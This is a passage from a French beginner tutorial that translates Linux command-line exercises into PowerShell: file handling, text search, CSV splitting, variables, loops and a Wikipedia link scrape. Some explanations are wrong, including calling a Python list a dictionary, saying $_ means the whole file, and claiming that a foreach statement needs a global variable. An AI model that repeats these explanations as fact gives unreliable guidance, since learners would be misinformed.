&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/home/chris/Documents/blog&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;-------------&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d----&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;27/01/2021&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;16:07&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;dirdir&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Déplaçons le fichier &lt;code&gt;pouet&lt;/code&gt; dans &lt;code&gt;dirdir&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Move-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pouet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Destination&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dirdir\pouet&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Linux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Move-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pouet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Destination&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dirdir/pouet&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Que les choses sérieuses commencent !
&lt;/h2&gt;

&lt;p&gt;Téléchargeons notre premier fichier :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-Webrequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://archive.org/stream/Frankenstein1818Edition/frank-a5_djvu.txt"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;texte_complet.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normalement, ici nous utiliserions &lt;code&gt;grep&lt;/code&gt;. Sauf qu'en Powershell ça n'existe par vraiment. Il faudra utiliser &lt;code&gt;Where-Object&lt;/code&gt; si vous recherchez des objets retournés par une autre fonction Powershell (comme &lt;code&gt;Get-Process&lt;/code&gt;) ou bien &lt;code&gt;Select-String&lt;/code&gt; quand vous travaillez avec des chaînes de caractères (des &lt;em&gt;strings&lt;/em&gt; en anglais).&lt;/p&gt;

&lt;p&gt;Donc :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;texte_complet.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"love"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vous remarquez que le résultat est plus précis par défaut que la version par défaut de &lt;code&gt;grep&lt;/code&gt;. En effet, sans devoir le préciser, &lt;code&gt;Select-String&lt;/code&gt; indique le numéro de la ligne ainsi que le fichier où la résultat a été trouvé.&lt;/p&gt;

&lt;p&gt;Et la version plus précise :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;texte_complet.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" love "&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pour compter le nombre d'occurrences :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;texte_complet.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" love "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Measure-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Word&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok, super. Passons à la liste de mots de passe :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liste_mdp.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pour trier de façon unique, nous utiliserons la même logique sur Linux : afficher le texte et trier le résultat.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liste_mdp.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Unique&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et créons un fichier d'un coup&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liste_mdp.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Unique&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nouvelle_liste.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et voilà le travail !&lt;/p&gt;

&lt;h2&gt;
  
  
  Fonctions plus avancées
&lt;/h2&gt;

&lt;p&gt;Passons maintenant au second article, et réessayons de refaire tout cela en Powershell !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fwMqcGrx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zzsk0tnz9v4thphthc94.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fwMqcGrx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zzsk0tnz9v4thphthc94.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cette instruction est parfaitement valide en Powershell :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";
'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exemple.csv&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Maintenant, les choses se compliquent. Powershell n'a pas vraiment d'équivalent 1 à 1 pour &lt;code&gt;cut&lt;/code&gt; (voir cette réponse sur &lt;a href="https://stackoverflow.com/questions/24634022/what-is-an-equivalent-of-nix-cut-command-in-powershell"&gt;stackoverflow&lt;/a&gt; -- en anglais). Il y a plusieurs solutions sur Internet, nous allons prendre une qui parait un peu moins simple mais qui pourrait être utile dans le futur.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exemple.csv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;";"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Que se passe-t-il ici ? La première partie avant le &lt;code&gt;|&lt;/code&gt; récupère le contenu de &lt;code&gt;exemple.csv&lt;/code&gt; et l'envoie via &lt;code&gt;|&lt;/code&gt; à la fonction suivante. &lt;code&gt;ForEach-Object&lt;/code&gt; est une fonction qui va nous permettre de travail sur un objet énumérable.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;En programmation, un énumérable est une structure, ordonnée ou non qui contient multiples valeurs, dès fois de type différent mais pas nécessairement. Par exemple, un dictionnaire en Python : [1, "un", True]. Retenez que ce type de structure contient multiple valeurs et peut donc être passée dans une boucle qui va... (vous le devinez) l'énumérer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ensuite, &lt;code&gt;$_&lt;/code&gt; est une variable, ce type de variable et de notation est assez commun en Powershell lorsqu'on utilise des &lt;em&gt;pipes&lt;/em&gt; (&lt;code&gt;|&lt;/code&gt;). Donc ici &lt;code&gt;$_&lt;/code&gt; fait référence à &lt;code&gt;exemple.csv&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;La fonction &lt;code&gt;split&lt;/code&gt; (assez commune, elle existe en Ruby et en Python entre autres), va couper la ligne à un délimiteur donné ici &lt;code&gt;;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[1]&lt;/code&gt; va prendre la... &lt;em&gt;seconde&lt;/em&gt; occurrence après le délimiteur !&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Attention, les ordinateurs comptent à partir de 0. Donc pour prendre le premier objet après le split, ça sera [0] et non [1].&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Donc, nous aurons comme résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/home/chris/Documents/blog/dirdir&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exemple.csv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;";"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Dupont&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"Durand"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"Durand"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Michele&lt;/span&gt;&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Essayez de jouer avec les délimiteurs et les index (&lt;code&gt;[1]&lt;/code&gt;, &lt;code&gt;[0]&lt;/code&gt;). Par exemple que donne l'index &lt;code&gt;[-2]&lt;/code&gt; (&lt;code&gt;Get-Content exemple.csv | ForEach-Object {$_.split(";")[-2]}&lt;/code&gt;) ?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Variables&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pour déclarer une variable en Powershell, &lt;code&gt;$&lt;/code&gt; sera aussi nécessaire pour la&lt;br&gt;
déclaration. Donc :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et la réassignation fonctionne aussi de la même manière :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat : 2&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat : 3&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;boucles&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;En ce qui concerne les boucles, nous avons déjà vu la fonction &lt;code&gt;ForEach-Object&lt;/code&gt; qui fonctionne avec des &lt;em&gt;objets&lt;/em&gt;, donc des structures assez spécifiques. Il existe un autre manière de faire des boucles avec &lt;code&gt;ForEach&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;ForEach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exemple.csv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Pour plus d'information sur les boucles en Powershell, la &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object?view=powershell-7.1"&gt;documentation&lt;/a&gt; de Microsoft est assez bien écrite.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vous vous souvenez de cette ligne cryptique ?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;somme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;0 100&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nv"&gt;somme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;expr&lt;/span&gt; &lt;span class="nv"&gt;$somme&lt;/span&gt; + &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$somme&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Essayons de le faire en Powershell !&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;global&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;somme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ForEach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$somme&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$somme&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$somme&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pourquoi &lt;code&gt;global&lt;/code&gt; devant la déclaration de la variable &lt;code&gt;somme&lt;/code&gt; ? Parce que les variables en Powershell on un &lt;em&gt;scope&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Revenons à la notion de bloc mentionnée plus haut.&lt;/p&gt;

&lt;p&gt;Exemple 1 :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function {
    bloc
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exemple 2 :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if condition {
    bloc
} else if condition 2 {
    bloc 2
} else {
    bloc 3
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un bloc est une instruction ou une suite d'instructions de code qui se trouvent à l'intérieur d'une fonction (que ça soit une fonction en tant que telle ou dans une branche d'une fonction conditionnelle comme un &lt;code&gt;if&lt;/code&gt;). En fonction des langages de programmation, les variables peuvent voyager entre les blocs ou non.&lt;/p&gt;

&lt;p&gt;Dans le cas ou ce n'est pas possible, on parle de variable "locale" (à savoir locales au bloc) ou globale (globales au programme entier).&lt;/p&gt;

&lt;p&gt;Donc ici, Powershell a besoin qu'on définisse la variable &lt;code&gt;$somme&lt;/code&gt; comme globale afin de réaliser la dernière instruction &lt;code&gt;echo $somme&lt;/code&gt; qui se trouve à l'extérieur du bloc de la fonction &lt;code&gt;ForEach&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Si nous ne le faisons pas, &lt;code&gt;$somme&lt;/code&gt; à la fin de l'instruction sera égal à 0. En effet, &lt;code&gt;$somme&lt;/code&gt; dans le bloc de la fonction &lt;code&gt;ForEach&lt;/code&gt; est une variable locale et donc n'est pas la même que la variable &lt;code&gt;$somme&lt;/code&gt; définie en-dehors de la fonction.&lt;/p&gt;

&lt;p&gt;À part cela, &lt;code&gt;seq 0 100&lt;/code&gt; a son équivalent &lt;code&gt;0..100&lt;/code&gt; et pas besoin d'utiliser &lt;code&gt;expr&lt;/code&gt; pour réaliser une fonction arithmétique.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cas pratique : Fouiller une page web
&lt;/h2&gt;

&lt;p&gt;Allons-y, Alonso !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--D61aK_nq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fhyfwp7277a8s64t3t7w.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D61aK_nq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fhyfwp7277a8s64t3t7w.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://en.wikipedia.org/wiki/Hedy_Lamarr"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ensuite :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ce coup-ci, on utilisera la pleine puissance de &lt;code&gt;Select-String&lt;/code&gt; plutôt que de le faire passer dans différents processus. De plus, nous avons déjà récupéré la liste des liens internes de la page qui commencent avec &lt;code&gt;/wiki/&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
